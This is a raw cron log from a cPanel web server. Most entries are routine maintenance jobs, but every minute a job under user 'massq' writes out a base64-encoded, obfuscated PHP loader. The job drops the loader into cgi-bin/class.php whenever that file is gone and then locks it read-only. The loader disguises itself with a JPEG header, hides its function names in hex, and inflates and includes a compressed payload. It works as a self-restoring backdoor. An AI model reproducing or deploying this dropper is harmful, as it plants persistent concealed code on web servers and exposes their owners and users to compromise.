Sep 10 23:58:01 server CROND[28925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:59:01 server CROND[29320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:59:01 server CROND[29321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:59:01 server CROND[29322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:00:01 server CROND[29850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:00:01 server CROND[29851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:00:01 server CROND[29852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:00:01 server CROND[29856]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 00:00:01 server CROND[29858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:00:01 server CROND[29862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:00:01 server CROND[29864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:00:01 server CROND[29863]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 00:00:01 server CROND[29866]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep 11 00:00:01 server CROND[29860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:00:01 server CROND[29861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:01:01 server CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:01:01 server CROND[30815]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 00:01:01 server CROND[30816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:01:01 server CROND[30817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:01:01 server run-parts(/etc/cron.hourly)[30815]: starting 0anacron
Sep 11 00:01:01 server anacron[30836]: Anacron started on 2026-09-11
Sep 11 00:01:01 server anacron[30836]: Normal exit (0 jobs run)
Sep 11 00:01:01 server run-parts(/etc/cron.hourly)[30838]: finished 0anacron
Sep 11 00:02:01 server CROND[31212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:02:01 server CROND[31214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:02:01 server CROND[31215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:03:01 server CROND[31692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:03:01 server CROND[31693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:03:01 server CROND[31694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:04:01 server CROND[32080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:04:01 server CROND[32081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:04:01 server CROND[32082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:05:01 server CROND[32471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:05:01 server CROND[32473]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:05:01 server CROND[32474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:05:01 server CROND[32476]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:05:01 server CROND[32477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:05:01 server CROND[32478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:05:01 server CROND[32481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:05:01 server CROND[32479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:06:01 server CROND[902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:06:01 server CROND[903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:06:01 server CROND[904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:07:01 server CROND[1388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:07:01 server CROND[1390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:07:01 server CROND[1389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:08:01 server CROND[1866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:08:01 server CROND[1868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:08:01 server CROND[1869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:09:01 server CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:09:01 server CROND[2289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:09:01 server CROND[2288]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 00:09:01 server CROND[2290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
